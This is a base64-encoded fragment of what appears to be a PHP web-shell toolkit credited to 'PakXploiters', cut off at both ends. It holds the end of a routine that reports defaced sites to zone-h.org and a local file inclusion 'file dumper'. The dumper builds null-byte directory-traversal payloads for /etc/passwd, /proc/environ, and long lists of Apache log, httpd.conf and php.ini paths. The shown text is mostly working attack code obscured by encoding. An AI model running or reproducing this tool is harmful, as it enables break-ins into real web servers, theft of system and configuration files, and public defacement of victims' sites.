ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBab25lSCgiaHR0cDovL3pvbmUtaC5vcmcvbm90aWZ5L3NpbmdsZSIsICRoYWNrZXI5LCAkbWV0aG9kOSwgJG5lZGVuOSwgJHNpdGVzWyRpXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJTaXRlIDogIiAuICRzaXRlc1skaV0gLiAiIERlZmFjZWQgISA8L2JyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICArKyRpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlsrXSBTZW5kaW5nIFNpdGVzIFRvIFpvbmUtSCBIYXMgQmVlbiBDb21wbGV0ZWQgU3VjY2Vzc2Z1bGx5ICEhICI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvZGl2JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludEZvb3RlcigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQpmdW5jdGlvbiBhY3Rpb25sZmlzY2FuKCkgewogICAgICAgIHByaW50SGVhZGVyKCk7CiAgICAgICAgcHJpbnQgJwogICAgICAgPGgzPkxGSSBGaWxlIGR1bXBlciBCeSBQYWtYcGxvaXRlcnM8L2gzPgogICAgIAogICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij8iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsZmlzY2FuIj4KICAgICAgICAgIExGSSBVUkw6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2MCIgbmFtZT0ibGZpdXJsIiB2YWx1ZT0iIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIj4gRmlsZTogPHNlbGVjdCBuYW1lPSJzY2FudHlwZSI+CiAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIxIj4KICAgICAgICAgICAgICAgIEFjY2VzcyBMb2cKICAgICAgICAgICAgIDwvb3B0aW9uPgogICAgIAogICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMiI+CiAgICAgICAgICAgICAgICBodHRwZC5jb25mCiAgICAgICAgICAgICA8L29wdGlvbj4KICAgICAKICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjMiPgogICAgICAgICAgICAgICAgRXJyb3IgTG9nCiAgICAgICAgICAgICA8L29wdGlvbj4KICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjQiPgogICAgICAgICAgICAgICAgcGhwLmluaQogICAgICAgICAgICAgPC9vcHRpb24+CiAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI1Ij4KICAgICAgICAgICAgICAgIE15U1FMCiAgICAgICAgICAgICA8L29wdGlvbj4KICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjYiPgogICAgICAgICAgICAgICAgRlRQCiAgICAgICAgICAgICA8L29wdGlvbj4KICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjciPgogICAgICAgICAgICAgICAgRW52aXJvbgogICAgICAgICAgICAgPC9vcHRpb24+CiAgICAgICAgICA8L3NlbGVjdD4gTnVsbDogPHNlbGVjdCBuYW1lPSJudWxsIj4KICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IiUwMCI+CiAgICAgICAgICAgICAgICBZZXMKICAgICAgICAgICAgIDwvb3B0aW9uPgogICAgIAogICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iIj4KICAgICAgICAgICAgICAgIE5vCiAgICAgICAgICAgICA8L29wdGlvbj4KICAgICAgICAgIDwvc2VsZWN0PiBVc2VyLUFnZW50OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImN1c3RvbV9oZWFkZXIiIHZhbHVlPSIiPgogICAgICAgPC9mb3JtPic7CiAgICAgICBlcnJvcl9yZXBvcnRpbmcoMCk7CiAgICAgICAgICBpZigkX1BPU1RbJ2xmaXVybCddKSB7CiAgICAgICAgICAgICBwcmludCAiPHByZT4iOwogICAgICAgICAgICAgJGNoZWFkZXIgPSAkX1BPU1RbJ2N1c3RvbV9oZWFkZXInXTsKICAgICAgICAgICAgICR0YXJnZXQgPSAkX1BPU1RbJ2xmaXVybCddOwogICAgICAgICAgICAgJHR5cGUgPSAkX1BPU1RbJ3NjYW50eXBlJ107CiAgICAgICAgICAgICAkYnl0ZTEgPSAkX1BPU1RbJ251bGwnXTsKICAgICAgICAgICAgICRsZml0ZXN0ID0gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiLiRieXRlMS4iIjsKICAgICAgICAgICAgICRsZml0ZXN0MiA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9mYWtlL2ZpbGUiLiRieXRlMS4iIjsKICAgICAgICAgICAgICRsZmlwcm9jZW52ID0gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Byb2MvZW52aXJvbiIuJGJ5dGUxLiIiOwogICAgICAgICAgICAgJGxmaWFjY2VzcyA9IGFycmF5KAogICAgICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYXBhY2hlL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvYWNjZXNfbG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvbG9ncy9hY2Nlcy5sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci93d3cvbG9ncy9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZS9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZTIvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYXBhY2hlL2FjY2Vzcy5sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDExID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZTIvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2FwYWNoZTIvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvbG9ncy9hY2Nlc3NfbG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9odHRwZC9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2xhbXBwL2xvZ3MvYWNjZXNzX2xvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC94YW1wcC9sb2dzL2FjY2Vzc19sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDIyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQvbGFtcHAvbG9ncy9hY2Nlc3MubG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3hhbXBwL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiKTsKICAgICAgICAgICAKICAgICAgICAgICAgICRsZmllcnJvciA9IGFycmF5KAogICAgICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYXBhY2hlL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvbG9ncy9lcnJvcl9sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZTIvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvZXJyb3IubG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9lcnJvci5sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDE0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2FwYWNoZTIvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDE5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2h0dHBkL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9sYW1wcC9sb2dzL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC94YW1wcC9sb2dzL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9sYW1wcC9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC94YW1wcC9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiKTsKICAgICAKICAgICAgICAgICAgICRsZmljb25maWcgPSBhcnJheSgKICAgICAgICAgICAgICAgIDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9hcGFjaGUyL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2h0dHBkL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDExID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvZXRjL2h0dHBkL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMTMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwcHMvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDE1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBwcy9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHAvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAxOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDE5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDIxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci93d3cvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAyNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vcHJpdmF0ZS9ldGMvaHR0cGQvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3ByaXZhdGUvZXRjL2h0dHBkL2h0dHBkLmNvbmYuZGVmYXVsdCIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL1ZvbHVtZXMvd2ViQmFja3VwL29wdC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMjcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL1ZvbHVtZXMvd2ViQmFja3VwL3ByaXZhdGUvZXRjL2h0dHBkL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDI4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9Wb2x1bWVzL3dlYkJhY2t1cC9wcml2YXRlL2V0Yy9odHRwZC9odHRwZC5jb25mLmRlZmF1bHQiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDI5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwL2h0dHBkLmNvbmYucGhwIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAzMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocDQvaHR0cGQuY29uZi5waHAiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDMxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNS9odHRwZC5jb25mLnBocCIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMzIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHAvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMzMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHA0L2h0dHBkLmNvbmYiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDM0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNS9odHRwZC5jb25mIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICAzNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9hcGFjaGUvdmhvc3RzLmNvbmYiLiRieXRlMS4iIik7CiAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAkbGZpcGhwaW5pID0gYXJyYXkoCiAgICAgICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwLmluaSIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYmluL3BocC5pbmkiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9waHAuaW5pIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbGliL3BocC5pbmkiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9saWIvcGhwL3BocC5pbmkiLiRieXRlMS4iIiwKICAgICAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvcGhwLmluaSIuJGJ5dGUxLiIiLAogICAgICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAuaW5pIi4kYnl0ZTEuIiIsCiAgICAgICAgICAgICAgI